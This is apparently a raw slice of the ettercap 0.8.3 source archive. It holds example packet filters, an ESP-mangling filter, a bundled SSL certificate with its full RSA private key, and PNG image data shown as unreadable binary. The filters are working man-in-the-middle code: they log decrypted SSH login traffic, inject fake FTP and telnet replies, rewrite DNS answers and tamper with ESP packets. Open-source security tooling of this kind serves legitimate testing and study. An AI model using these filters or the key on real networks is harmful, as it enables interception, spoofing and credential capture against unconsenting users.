"./logfile.log"); } # some operation on the payload of the packet if ( DATA.data + 20 == 0x4142 ) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # drop any packet containing "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # log ssh decrypted packets matching the regexp if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # dying packets if (ip.ttl < 5) { msg("The packet will die soon\n"); } # the same for IPv6 but make sure we really see IPv6 packets doing such trivial tests if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # string comparison at a given offset if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # inject a file after a specific packet if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # replace the entire packet with another if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Modifying binary data by using external commands if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # filter only a specific ip address if (ip.src == '192.168.0.2') { drop(); } # do the same for IPv6 if (ipv6.src == '2001:db8::1') { drop(); } # combined both IPv4 and IPv6 if (eth.proto == IP && ip.dst == '192.168.0.2') { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') { msg("drop IPv6"); drop(); } # translate the port of the tcp packet from 80 to 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # identify and mangle ESP packets if (ip.proto == ESP) { DATA.data = "DEADDECAF"; } # eof # vim:ts=3:expandtab ettercap-0.8.3/share/etter.filter.esp0000644000175000017500000000203613505247364017417 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter.esp -- filter source file # # # # Copyright (C) CaptainMcSpankyPants # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ## # # This filter will detect and modify ESP traffic. # ## if (ip.proto == ESP) { DATA.data = "0000000FACEFEED0000000"; } ettercap-0.8.3/share/etter.ssl.crt0000644000175000017500000000313413505247364016734 0ustar koeppeakoeppea-----BEGIN CERTIFICATE----- MIIB9zCCAWACAQAwDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCSVQxDzANBgNV BAgMBkdpdGh1YjERMA8GA1UEBwwIZXR0ZXJjYXAxETAPBgNVBAoMCEV0dGVyY2Fw MB4XDTE1MDgzMTIxMzE0NFoXDTI1MDgyODIxMzE0NFowRDELMAkGA1UEBhMCSVQx DzANBgNVBAgMBkdpdGh1YjERMA8GA1UEBwwIZXR0ZXJjYXAxETAPBgNVBAoMCEV0 dGVyY2FwMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbyRUhnid+60YFQB6u ef6+t0l0qSt9fR1VT56g6QdMQxUygDkWImPvgirFHgf8FPteBlQhzP0r0aHFtNrh 59bUpDspTyL9DA6OLw6HrwgBOr6+vdJYjxGzxPKC5b7BG03vMCCtP3r5e/GqcJ6W +hOCdL2bkJnG7cYw01Nq4g3LEwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBADP5fk4O OW2Mkr204UaPSnNce/BuHjCv452lwrSHz7T2HFiu1hn2JC9kfXUNEKCSpnOaNqEs v3oaPlUKzQW9kJjnJ5r9Odhm4PkWmZiwohW1+dls9imJFPDiDn0l9ITng3iD7PPv ojMSTRsP8VYnEWFUaXsnG3aYJtlP8N0CTg5Y -----END CERTIFICATE----- -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQCbyRUhnid+60YFQB6uef6+t0l0qSt9fR1VT56g6QdMQxUygDkW ImPvgirFHgf8FPteBlQhzP0r0aHFtNrh59bUpDspTyL9DA6OLw6HrwgBOr6+vdJY jxGzxPKC5b7BG03vMCCtP3r5e/GqcJ6W+hOCdL2bkJnG7cYw01Nq4g3LEwIDAQAB AoGBAJlUeS/1cfpBp1FTot8nw8wCqpHgT6Xblxt4mjDWKxCslhh2i7l1b9c0ztPk kwdRv3bz06rRD/4o/oiRUT436gEn3GpwSR9BzZZ+sNbPur/AK8B8uD4CrDaqScO1 ns8mzX13rROzVs/jBzoqf6CmDw7JHTY5r21FijX3xE88viaBAkEAyohB5RpFzxnd AWOLnksGCe1GggcX6p3J4ojwwFU8oAs8RzxBic9tzr2+3jp0fOpEN8f6xWFLKgMy MPpbzVHDOQJBAMTpiVolGiCt21NLVPaJzWVJe1/8bCDXIIAUvi+P6oDs5LyXSWLj UUf0p1WVNSrFZui+Ibwd8dK3zgRh/A7/hKsCQQCLNG4+PvmeaENsMfSD30MOTaT5 uFBq9PsPFlqLh8p8olxTBgpx4z2xLN/ktL7eINK0mGI3ijD0dm/oFBxHGhyZAkBt P0Q9ByifyNVOORVCUuHpuAMDFgDHl5MofFmn+aiZLtUY7LaCbqvByDKugMGmoS6f Ih2FSPfJeMCMHfDCQXFRAkBRvGCedaQIBukUhzzn3QQ6dvZ4Jv8z3FToxXkcSG+e g4MsE+twu1Dwf5OzMRsMbMrr+mJFbkgP8nD/7HezV3pu -----END RSA PRIVATE KEY----- ettercap-0.8.3/share/ettercap.png0000644000175000017500000016734713505247364016635 0ustar koeppeakoeppeaPNG  IHDR/C318sBIT|d IDATxymW]'oιO{Ϲm>Bh@i ;T)*EC=K6=QKEDAB @Hn۞{=}W;c} ݜu^{17`1c1c1c1c1c1c1c1c1c1c1c1c1خ) ]{͑UJV0c6yw}B87r Zj]}b1c/\J%dac \׽8 3c]B@c1]2c1-^e B`80c]o]D$ I$@ē?0c]"AB` W]c1ac22c1c $ !%c1] 73c]d$@c1. "DcLd%c1c 1J A c1U^"=/1clwqxa;֫">c1خ NcBR c  0c]K:_2c1c/8e !#c1c/lLjHRo6c1vcD$C 0c]X^H \]b1c/`^"|b1c/6َ˼ H<c1=|vDΖ ^1c"/r!X'c1kbX:T ӻc1.v2(c15|v!"#|b1c/6e a@)I1c]t'c1kb]4 c1M|vlAHH1c184Poq>c1M|.! cc1vcB v:/1cl&1)e"BH/1clW&1"[Fc%c1X/y1O1cl&۹S% !a1c/l6{\ A$0clǤ.PJ ۲|b1c/6e0 AH 2DIlxc15^؎I,IҞ8|b1c/6َH0c1+8@@ !@BS%3clǤ{^c1خvL !Axc15^e BDD|>1c]lLj@}c1{8#"ջ`H''c1kb]O>c1خMc$ #3c1 8#0&6FdS%3c a_zA"DȒJ-K-kԲ۶eK% J< agjƧ֗1ɕ1c/4^u%“Rf9)eFY,UmkveR˲*Rm J) (g`$Ac  42\wW33cpxa;FDl=a0D"RɬeeYe۱e,K]{ȲeYe)eI*YR䅒9A#0F@À`10FLtDAl"2yK! ?+0cpxa;G$ I{u^Ha)2$Ȳmd;v8 ضoΠCeXꓖ*Q$e$ H8^ ch^H+)g hNCChMB$LP@#4ڳ/? c1ؿJ^؎mFC Jn{!R8J)Oa+%]eYyq\bvɲmَݯ,U2JP""нhQ%1 ,& UGzIc󱐀Q~vb4 dXPi+K*DB9t:SRKG1c셏 1mȶlX^'SJln8}Ji*+Bɼ2/1&EƤ3/1:'  UMN ЦP7v6*()eR܋fpsB})$0u%Jцg.\oIZ q3.n!8Ng 6А6iӻ0mo;%%(6RZץތd Ϣ/;sOUy &(!lWA!lT-Z8Ac{C NN_h[2}堯%m&^h&*cĺwZK-/"Q!FS !tz+ aC(C$0BQL^1w X.!2-HKCSD1H%ח $$6b %dA.່6⎍m1:NNQ! bA( D1bA'1N`H$H HI!k  e+q14ҏJ_tg&_ pJ+MH*_{7}fk%IJc1ƞx{V*7d8Bx/ r,'m$qC$HF-,VkKL췆s%&$S"a) F $@Dq D#I48A'@^1V 7l4S#`tқ @ؘa :&FİMˑ @Z ˠQ08\fW}:WwM6NA=zGo?zWz?c1=+{^t|(NbuAT*}CVkUxDV]AZ\pq,UG&#z ]JHH#i^F "DIB:Alh %s4TM!,l&^Jxwf4ADŽ(1 @%dD̝v*(0 ϣVk^kbx¹U^c@D}/zh6׳!h[X]▛olcӿO~Wʕ 1{ž&'>r 'A) )\ׅmFVp)x,v2\׃6:1HbD$I#BIV?42iJ'fc27&H$i铍w"6\y# րvæ|C>&90a A'2?X"˱Q[mWBӁ|B9'9oW2Pu`|1{ql۵]8/(]wNK@b}x/^ҕ\1{~}X|3>P18EKyp \cqSz.Bv;>3Y$ (4f$ i3o{sI/Dfkʴ }BC(E@eiDnO3`l2T>@d,DtQ?oa@eb^z3̟>g/@Q+@*z{ŏ^CcRI7D;0TP.sܤXyǶaY6,KAH 2@n0IqlJ}+kdr^{׎4ӌ1žl6כkq9\|! K)؎rڭWоpA!:c'18O ,a Fg=}s>b`ʞA% IJ7Xy9ez CpJ7No'#pŴ&Q,ŵщ?KGW?"lʺS2`6d\!3^(x\vd$@I DZ Ew.$ 8BQcaifxec`pa)y(K='J'18gExR*4MU}?]E>1g\ #"tA\9t@脐3 maք$i\1i;.'n _h`jv:$)ʹH%sKfL+X %\&Ss2w(\!u*Wq\l9)M) ! *P)H$F#5kt$L Rح 3"HƘ]mx9 E g_ "Goc'/YT& ]x+^O?}%(n̢i#h]?+XVF|A0$z*U6^8h3im@ ht5`Lڨh@@ "m@CE@֋od1# D&C}Z,v\# @#!PB@ UHd _D ?2c7r4"+T!Ȏ ^Z:~Ra컾;92:xu[LLR-UB[4AHTJJXR R p< NAtF^h3ZlޝR,uнG^}qh1~q/\.:w'I??ܭ1co^س2>'1p 58w@}Ӹ߿w7˻x"Eh4l|j=-x>gؙYI)T\S{xWzc 2^B˲DIjw}DQ mtIFӭjŵ6tgn9W߸?8< l}$= }񂖌1ؿ.\yaϘR@wcsv=WqU1Lb!ڭ6$ /T.cmuC }W@{tQ!ZkKKv;(VW*#ML+hht$iFD$$D#]_&qb}=•)pIHFDIq`[605`6֕ q#N MZ]%\Dž-$W=ok%"xGэ"aidx _0<aム~ݷO}07wǎW (ƠP,/-I@kVvnE' ڭl}rkt%sqEQ#'S}Q٪A'k_2cO˛0d/坣{g~MLMMbyqcp`Aյ5^cñm(FG(d2HDRK8x$V.ڈQ\w$ Q9dy<@d!6Yh6Y$H'J,/h b55܌b;]X҂8f=d2eA1:4q# tU@`)s3pl 2^PJ2tk'F\88*zlu:|x}{G11> ?h͠7hJh԰4Ks0Uma\~~y秏cOLOԏw&~ϷJe4ejoryM _3o5&+KOqUcgX,W>18?x&N86b`뮽lj#ضL&IXXZZ 1~2Z|ዐ&@n111Ho,[tM8A&J@Y#B)3!iEJ2I#q#J–To AeB('ҊfaTk( OEo} OȗFШw~K?m3M;~t Ƥ pq<#8q$BXtG!,Ob:ڃm5: Qwv]#?yڱMR-Ã#hfu8f bc=cB{_|oQ >ڗT(`4>曯Ǟ خK8s,Es.D~pA,(TfN8n0`}{R@bӛ:Yo[@}5H !$I J4Gchx ɉ"H[Bq#XN'mR*()!A A:ToA̍m2oc踃2o|s5y "dYa^(1RRdnxOMM.NVj" `iy:ry ʃs3K]]:vl|Ko^d3ڠR((AVtؓ;{/}(Is^b1ؕ3f+˫o7&qT ~I8nɽX^Z 2^2@AQzh7bm9DBn&Փس\ǃqy.܌ ױa6ǂXm؎ے "4u]He6I>`YR0#"hm fsp,lǂ1pR؅ v #zLbKsC;Ur ʢ@öX\l>$toڃwy~;&L38u$VV^EVGh5 ˍF灰|nvz~GWkߨg,|D)*^ֳflRݠ51GzБvX6f3cqxaJ\34׷-Kϣ<#G_~֨Wz.(a IDAT t:lF6A\c;h[H ATFZ~U֫?յkWkP5PPP_o^o^m^Zzs3DA(&$tQa[Lڗy^X܅[`eBJݘ.iLo3 }fhM0HuOadRo< M,̶ -(`,6ãCk$~ڰ\֝[7 'q~,::6H-<[=~OKK_m[ ZkT(8 ..?pe\9Ut X,b}  h B!d+19/YxĞ= VJ`orO~ O 1lx/`h`Gw F +˫& Z6 vr: a=߂m( J)(eA)R)H!!@jRJa<x^e)%)X 2iωlHi\خ|'߅`1H4^X)پqޝl:!$F#[bgx\Bgkt28hl6( *r׶$i@.^{߫o7U(S0s:$eKx~-/?MLz{̉Kp]Qxvf֨`qn G -||+n4V;{1c;=kZd~nͷct!_ k8sB$ju:u ccpacz&ׁ:(Q*h@`Zm{zh,f04!?#WV(K,J6 66JJ.J.JOXPsPPwQx(V2 \Pn &fЛ 6 zmt|z{ljp\_"lq[" 5.B8 ZX*TW-vAە{_y-Ûte98qI,,΢^j@ZcH̜:>/=x튝<˲\ulIf/,qy빖S s a~@ R=FW.ZZʕ1{v8i4+QnUL]u ΜB7QAU| QappRسg\Fk8V14MDq \|ʼn1Օ.lM> "h-E0Pw2T!H?ݷ|ޭ|@児NaJ5 'i?K/Pn q&Vgj{.~} c!lǁGd_򉩾wTgO`euFp\ <'鹏m+ze){l|w׼ƛyM^@0fw™ŏ,>W)DHuVV~Ёe;T}{6s֎GaOc؅_+ܿb@>G@?|:|,`iashԛ>J%8A݁6R FgSWzނRFƀQ m{ma]۶Go;M0 UzzEfsxZe3l=<m^[$ F,1{WpgHN0`A݁RjIJK+s7j5ckTw}Gɧǎl {^ï~mGԁ*ܥF;2Z/wΟ߷݅ g?v DZd02VaP(bph42ɱWyn&X]Y?Eqp%?;c1e>q_0016|op4, nanva"LC*O>@^:[5h:dw1FpHmbk]:1^ѽʉ` o/ &/߿7mEӃ $  }!m)$`F@HB$]8YYiq?K?={aӗy^u lel!?u'd;yR\>\&>ts}Uǎ}G<<{+,r0<8 .?x?xoocg˷۶v+[f_RacZ]7I$I"hhdeٖHR*y^vee[yDZ<۱3my` a[JD HcD!N>=林8|o>Ҿٻ@>o滱or_=1t gE,Ka`pBVan~,KCȡ8yYC"Do-a\\҇f{nͿ׽^d>^i#轵j7c6`[3?Hm技nPY'A$aY(D&! مir?vT'MsK)egB)?\*{ҷJшҒ%+Bv=9 e}+P(#, $?QܿgN}2netCo-|[Aeb}mKϝ_ʓߌ1co}}׿pVIhe398~JŒ:ImZDAÎD 8҅JV,ٺ8 \/~>O{( |,/!Ihl05NG9\PC]C=P@o V,Fyd[xћEhb@(۪*xv3$7xo /f{I% ACڇ}yZ 7+ dh %-$h4,_!PB,ڶf3L#k =ٜ'ˎٶ5dٲl;vqRr|o^E`Ylˁ8R (B TFw.TW_|Ǐj3o"Jaj'&+=0wа].! b4M[ᩙ:ĩ8=slcHR%c1vepxSǰoro:R`Fh@':1 dU z K ћzXP;b``Dk$q8&1$v%:0?#|ބ\>=} L_v c#Ї>3NUL W ۶Q@\D>"a r,/>pa]CHW+/O 5UU F (N1 VI4^٬zms`+ 6F%i?MKD{xC8t[Ә5,iJj㿬Tܞ[+o=LQHQp]|B B"r\/q ~@'iXuDG.~ vF NnQ"/Q9.UW'WϾ'OGv>(B.GHt5 @3 _D_ix\+_o|[L vߡܳor):?@]ǥKalGg~a1c uw^;z\6QZ:j゘ʂߧ nnoVgEAZQ uEMYBTxd1]h @6Ņ/`u8N<0{vGV"ϕFOoߺ MlKi[}QaeB[UoSORFoD0  F~Xc|uY8Yc_f ݮ˲!U6/^bD$kO_bhd:=S-DL&@)hAa3Dv0@$ A(&qI,BhΘ\ ADalch` Bf VuLqqc =?zԑw`JE W1B 0뮽K8xd}䉿fW"Μ=FQ0zw &Pb`&ѺNn6&i 0$h(c0ZH/ txeٰBxqro ۲0:> _{3@>SpJZ0&AAZGр1W]}ffqEĉX^:[^Ar0.\@TpFmرia`Ig*(f[ 3mJӪ3{h *. [z^EL@Fps8xǿBXiQRDz$󿤟.$H7~M]G::mKZ ?Їw4lzJIXJA* J:񹤔 !C?Kݶ?^^[]_f$:f3׼+/)XT_wO`VNY*N=sҩ0 b;RXCM~Wݷw ˡZBJc42n\B ++kz$1I)l%-۶lGZʲ%dYY?ysl c1)DZ|ko8Q24; 6r|"fp\h3v$IBPk#6I6  !H YD$@Z`Y&(-W@6KmRI C0&͊q Bo|?zXm7][}j[FnaZʡ#SCߧlk?sxG O˅l.;y#k َU;M}}2p?f|V}*}O 7<{GIrܹ{'lj%dɊVrW6`0{ 60`̵-9ʖdeiWڠ;g:V3dk3gtz|O6o2ڈe)0IRyz{H2]F0& C|?`fjf}>jv#!!!!!gDr_++dzvq=igCnuv]Rid5CfҩB<˥2ƨeaf\׍vur*ǎM׾5Vc)$Wہ\6IA0¶;Ԫy>6gqI4MwabfZ7ʡchSV eqBVaNa*&Z͢ hѫ\ʩj¾Y.>.<;sEW0WD  @ʐXp0-.?ӷuoxMkrض\fh-]Gi(d(ALa)JMk^jz ˾[?q9X9霱:Vfrѣk"( }7h[T<:3U{*3s;O%eם-|Q|Q*S?EjQ#^?/~1ssuV#q-7aZ):۷?M0;3C.EҰ=ߏP5phfd‹SN(讷tةX$ nX5fsDK6u@OJ3"%% cEb%}'$1aR4Yva~?.Bv|_ݼeFz"~PVi6(BS*34r)äP(bZ:tp]+@0p3@J!QUUSt]1- 404V:E*Pʣj:!P8&A>.Qi:}}}=T*d3Y>n[;v=|0|pc}xDP5%ijNӵH]sC?r0jAЉ؋6&$$$$$$<_O!瞷7v3RҲ"D 8yo_⧊L6=626 1:6yߝaT5**aع "pZ>}\aZ{9tyJ(,6lEtKְhQpLaE,8߅bܿ@B$"DW$EjCrZlE8ֱnu7- u 3ed){{)S IGUk?|׎ݹUw._lIKŴZM:HfAQr_?VK/rݨnC;k(ᢅN'azuXYIw RHI UQQRvc#B($ B "kA䘙C^WҔ}LOM{7퐐pHORJwzϚ +wlz} rJ˾g{Rt^V֬YePlM.0T*r)Qy򉭴-"k֮c;~fwǧYq K79i085seP#\<&U}Tdc_L0ㅖS1O XJE[w-BAw^O(*a([e``r_"t]SP tv/߽-._uk-u|bDll7NןF4(dtd9Ch4sd` _qTH״!ΏV=]_Q IDATH\)B"^x D,\]8TEazrLC'wܖJCcoHHHHHHH8C$mc?ei]wlh 1uRiz08~~)R@)PRJEUUE RR2-2t=2jjFUdZ2뚩k'?}|ƼxH3wo[:.˖1b{y\|իWr^BʲX~-nsKH^q%yXlo|wF 0 |c,Y6]LfSۙS*jj* "D?4+l}3Լ9 W%^8Oq\o7}7~7f9x(}\}CKZM|khQغG4mCC},YJզRuۻE̞tЊM{=F,8 DH77 # :1AyY]"D S4-8mWHgs bj.ܲK/+. .̺YE`ض͑:J*ͦX?/sƑʁjed}1nuv ĽS)GW (XpVޱɉc}ĉj1E|񙛯a믿rϮ}T*3愄m,z[k /ŲR؝6a!\H˴!ew;0t.r:7^4B vf+t<`nT%GT,ӢT͗`i>?`57S'{䉙{woy-^M/|5_(T? +Vs{س{C\|xr+a-;m\7ʑ$'O xuӭ!AHDOIf,|fRn"T2 ŞzJE}ee"L]5AK Ha&6TDʅY:ۣS!<酸&nEHU'[$;P&?O3MBIgo|5k7؇il5q? Bl6KvTӳPmL05=E頨`tmι3ٽ;jU{`鲡>dJQ&Wm|o+C9ן+a5!X ("kn{?'N>90 gD%L,^{eʋ^tx33SٳzB! C"F} M]EM;Pn[1]!+HNkʥ9[Lp sN yfs3n^Rdzf{|w?a9lGG^?@7|];ԧ?-ބeY4 \cjj Eaw<$+5ĉ ^QzQ] X!B2 4M2,=yJ^J?=ף0 ~koz^QwT/q+^zlL'$$$$$$r0 =wm|zuOomSWRؠH,êaЈȏ(X1)4ЉbM @XNjgk,9=dq2/+$Cp!ʷ^k׮A Q;R*>t/<Ўw[ƯwqW\Ůe\rӍG1+޹venJD57p0 î>BN7W븮GAt$淈EJL&C6>JR|>O6""DQ8TmF(hNB&zz/$Tp.V ٔ؍Q`:|LOTo/z.PtX@q~ $XR  QgS. 0Pd6g'ߜ819(,[ S)Fv#Nˮ[?W]+n8*}A6m|O=ʿ>]׬K>WϽdI([|;azzĿ,x cF^_rT** m]s6ǏNɇwT8RH)4)!-˲ Ȫu=JVUeJ -kfNו9)EFQ*)!c+3ht0cqv w? Qa|lCw~䭓{o%z+oX>߲+XbMѨ*띿 \v%X{xAl֭6niw:htCT\;̱or/=^rf C"ŷ^z԰QR} Bwgt m"k13q:zdD>n%t\?R 3" ~Q8 Ð0E T )Eܭ! cT*:AͥP4ET\|>qOz*mLRKfjfF !"tKX̅O~ߝ< uW^qw",K˲eӕ|K_{7xqj{_vUW\ds V8g&D_<9DIgR_q]W_{SRL37?yHUA vϞ|t񇙜˦)`Fw{yxO.LRWtbHPT.R  ϶ D@ľ*JsTCа^tj >%R@='G4W*-CX F@\?r"&umvq|8bUBQشtj(#p'n4:7 3癟m [ SGAʘ 7޻Q-5Ư\dq,VgLqmLSLd3c{N<7?ds_{3ݢaf>Gh>m#_\sӖ?]KA u|%6\N~$)!!!!!!&/?!r3W^} 3;;CZ٬DbSս>G=ճ"e Sd9+e8FO]?(Qa֭:b{¿>ڪ~L&=:66ʓLq7b۔JEv%=‘!cɲ,\cvOlG^ +xP pM[(e}O=O~8x P,5/%]tMLLRt1S{|[O5?U߲7l^.?t<;vPj:rسɿT1:0?}Ӽe/oh"s}سg/SHr}R)D/>{Q׏Ϡ*("CU`?\?,T Niuj͘$jup1sd))ae2Ě$#(R!c]b |@ء>/7WY?cc#+{zzRn F6;P=׷^vk.'s%/fۯoov[˖_pKx_FzqϹ#ϟ}E]YBBBBBBODaʫ^|-]>S'Ժ!cAfS}O|g{?*}[.־;63Hd2VX {_󢛲kV)iON_{ j`:v?OrI~<0/EJMG"2~fm8DAR0<"2tmvETT4U"B 0sVg{>Kgkne{Hk6^E Cw]wcJHHHHHH$ dy|sι 'QVp\Mhivm;@|}h5a\FF.pފ_8 (Ε){X>֛_"y1,Wרc^9LR#Q/MeI,Rb)@J)0c̞$)~"](%ۋ[否AB๸P \ B USQ4]51^`wl:VF8lV"B"A M? \bs14aAD1!RQ5T&E:k׃?vvᾫVK^1 h5j5AIe4Yf%Իfk發oȦKVfFv>OaQ? 8z,ac1pI?B铍s'_HFF.[]# #(& cRLLsEW07'>rݫ^I817OPGʀ8<&l6q8&:v͑.(R(.029JAEOxnD9:R)(mb(s|ڝ6VzcVAvUAu)0I&!a F5hwԫQt@j 2 Lݪyksbe˱r4CEU ύvzj7w?}STU ,,5/dZPB3Uchԛ-(Lk2b>g,^g_՗̽zdRFVQϖ?zЃGn6{ͳ IDAT[?AI U\uu3^qm?m۞z<$4K7eW^[֯Ou6c~~}jwFApVD /fJ}N͏qZhm7\*ʕ54RH92~^RyQ!@t$)$čKզl.6vǵ l6KERoR_ ERA1 qeAUq=T5tmvN^CVo;>tsQz2Ykm`yCox^6k5SF`RE &FFZ'07m٩ځ}= m\u wgҙePA!ý|OٶB^|_1ymR)^rK?ןO~Sm4/Ա%$$$$$$tI 7m:;ݼ᪱qjsۿv8Q94LLN.}j;.Q!Aqq֯/bL:$l{GYk\u~oܼ꥗_O-UcHA)ZFQ|Cػwڽ8.^erKҏ%K9v0?y(R2=OevaXi͐dٓvLide>G= EK. *ٹk{F)gحAS(0S9ǡhjpm0D4tMG4"۶U*;v}cǎٽZH[3<,bpLp?rni'N!DD1F4B Às"RjL竄KO@CcK_vɒ% BYTu\E*3eaZ&fI6OFjJU߳ {w;^go]ryk;4up`p8~33' mRtl Hg,?L`dtɊ[oVg~gqǗN"^'j6rͺ5o:ݛ6?mph {cH)tȕ- } &'fh֝#[jo{..jz{8q8SS'w}4!\0+hi]؝6Z'̞ܾ]晽{8zV\)cc.aRJJ <|TU|P mD@ccY1U@24!AFFanY4#j QP*)h@(&AxMSQT h[4MBcf$قEO|;ٳz~L]pW )8UdȶC/Ht}9yhL>̗2CVͧ7jL3==agnz -Zڳs'mOHHHHHY&i{X9[_n+\ja066Fn!>Neh`N8٩2S=\udz%a;m?Pr~ NLmOw^0o`L:DCsDvV_>Gݢ6(t$_ȒΕ#b,E41M)!)zpy>\]Wq!\]P%AC "| p|%r2rxNR&Nw0 ۱q}da)3qV3}^~ͦX%md‘߽?v .[劵_3J0b|'#4EU鴢cm[zBBBBBI?Bʋ|Q\-^DDā8|? 3׍]7fDniO?N qjbm"xA}﷙Vcnnum&'3޽{=g=GzD:7v .)M 12G@}ҩ4Bmf+-ZAH{aWi$6D_v>qϦNVdskVܳrxIlzU?]oԆ0ЧNV?ݟk: .W^3DOW Jif^xɆssE Exv@R.ti{?'Nu$$$$$$zWk ]|%˖fiw<)n90//uW8ĉ4|NO֒_\ &*7;O /8O~4HMt]E@7R|!X|=ZJHa"] -D.o* XQT]QP4zdz;H!Bk3PŶfsL4v:X6q0BTP#)AQ5L C3aU JufӦ #LK#OQ,jOFxGT*s!1aAc誂C㠫*aJfJ$AWIE*ERc{92&ieɲ/ovb $P(-Kri-@ؒ';wh4>zJ\ʒ95{ߑys$mJrfTU(U20`ul2[H"S,)nP^/]H=#F!O61ԅC] _gmV-^졔xjj PGG[8 ΁@ p]=*mkn ҞJdNref.Ssm.MzVj~'?`~4L=:xlzٞ ;.%LAGt>ɚ[rig+  \LD W[;oZ9_"27qL#cy|rj8O蜣R.(a:$&A%(6M$3y0EU ԱȦιSUUBZ`wO;:>^O٥*KU%áBu:8??_S\RHF@liZ\|ܦ6 3i1TN`6 CfF]M3`@>GXD¥Tȡ aC"4MP 3 \p*KPN2ipt-(*#W/`hPAuHp9`#ς2 աG0љʥJ7n.pYϪwvu5q@tʝ^[P*yۀa(kE@4vmY+(K&T@KG[ t2:Fb'6lnpN\mGNbd쥩ѹS 7{%24ffo;F'Nʂ  oΛϕW_z[^fӘNavnl0*c3y}~N|Mo+ßh 󘚜^8ocӏUw.3v{ڻx\-7_)˲g \d2H Y%ɬPʖLpa&4MCP@"R|L6\z7m 2am d8DQ*+-ldEpD*l^TP2 ̀-~*"((LmNu$]fj0LQ0 XG:SN3T]p͖iW,.qMaTVJ(7oZǚ[z+].r(N KLۀ5XU:e(keVnj`2CU!+ 9*2<8P0oyXiVrw͆i/FX\NJs|\Ñ'#|~1hdn By\W&ȹ$ uں+/ros[bs ("24h3^=cÏ^xm7~zE_74#bttdЋOWX={êVq3e476[X6(D'c?ٻcKYCwmBI8**,Riwvq S4| ]A^Vg d^B$8n$)\N0D&C**8\nؒpJZ rc(gCp׺ \ Pݐ),df 9pݐ%B88LÆab2_.14 c+R,Yb($@!  6#`2)dE)DA680咬.0ACqersx=>5 `vzSOy4̳v䷡(6m=c>rln>|K?(%le [x}yP">_mCO~k_:WAB\yQUŽn{n~.bƦFΦ0:>ITJr&QzO?ԾGNZ_J]\zT*e%glxgպ?kv祟iYQ7&t64 7bK5,5zkPm$ D6=˔f[mBmn6 DTF!DM8< tCYB@ J i AXFPSA`Z\N',A ?Yap* \iP.pΑZZ@@瀩Ad d -yAA>C,̡dH05e–eVz<GhsԐӡ*J68 n@ ̆pyU8\ dA$(l[Y0+K|D/czG+kH2 M+ UUp: 1 r lLT?ͭ--+d:;ie[D~b*z  =-zk9xb)3~ԃf M5u3dl%[q[nSU#2,sKAwnغ}mں&qD34<2Ocg,/5&`(X [kߩ ЩF5rzj]nֵmزqzעnbh(:܇SGROFgRroc$x3@<JlF>AM!@tXGuVA ôa $IBd2ۅ׋x Lba d( e(8 bq1 b٨8ÆQd#HO :+\ÉvC2t$d(UABB (Y }ζ-˶ 9H Jp+-RB6sDvTZEYmϭ>oM]w8fC7;) n/<.怡(KpTvGc}"{;?ꞿhao!\ۀ;6c۟y깟T#Wױa۪[><֭لu[,{;?Ə~|A|Yyini\s ~ڝW`~!'!3Ozi/xoKa>QJkzo~{ݟZ=N app J;WW MឫvnBʚ?om w[~D}UFF46ٹ ,1;71KeHµaώ֎ƛb♣侥O~VAlˆmshl& Kϧ0 :t݄$SYUF,aY&lˀK(j: ]Ӡ0ϋL Cit8hZ,3~b᾽ }Ⱦѯ>_L,9֩Rix i$fpm7xUW\+˲[+J tѯ457Z]+߱TcCHV|!?M=mn+-mw:nCa;lҍL*( CdR6P[8^4Ce۠,8( h z, ?4SK![ld!Nh>=KU*Ŝjb\s v/-+7lxGs{[ڛۻa:FFO!L׆OMhPZ,:/sO}6+L@Pz -2x\$=ٽ_\ΊUm;8N*;pdwҷK.5nw l*aAoOsXb׬W* At/m-[/YwoCkՁəqD"e&zʥʯ ?r;ʪ0MQKEض/ w|dw.ӻҍomzֽ~-қP׀H|`l4b se( p1?W-p+!a+0 X-tJU*R2eYpTU(]Ġ=u5tyeB)lFXn B($IY^:*24ͨ@  )Eu{X~m^V:vf(!U-,fC?zLONc0lPY6g[8r|NJ)c-%)`|S sa0+oj ټݵo'n6Su ԗGsc+88"3^8R>9^ߚz a hn‹O> 6nP;׹~QߵmxeZnׇ֖v:5&9Khij=?ǿTՋ/AA8.1*{<:˶ 𶶦w7ߢ8.|>F#D&INOã|>oƭw?t5\B\Mw3K Czg~no^w@Ynpnjk0É;ťE:+)$JQC&>64Um;:{}&2ifC* ?τPB^i$I0,KQtע&mYR K7a6lJW3ʗPg$xRJQUU"HP2h?"+6"affGFN̥hy$ER$IL"p9jp H2yקX&Q<&Nȹk}k7mL p=jTJLF}]#BZdsiO?:pP<++DΞo}׎o o-[_%< ~NK6].TM(P^gݳ 9Rͼ p6\pŋ uYyӪޕ'&.v0tvu>\Ņy!-NĿyȷ/p`?luN'b Q,Ne>>~V׋W.Ջ[c%q<#b0"2Df*CGn:&@Ock֎|qZ:J t̖'3@_[B$ Nmc0ykۣBVd IA%]>N979Lb$h뷮A:e092*"Nƚ (ZjjംȑSQF =P(n؆z06>CO CUp*1F@eYEC7򕲞z4b/ W뼫.Eցx=~5P$J2ablCNazy']9{.Ђ5}R#K/N-|K'Vܾn6z aۀ0t ?gçN>^ 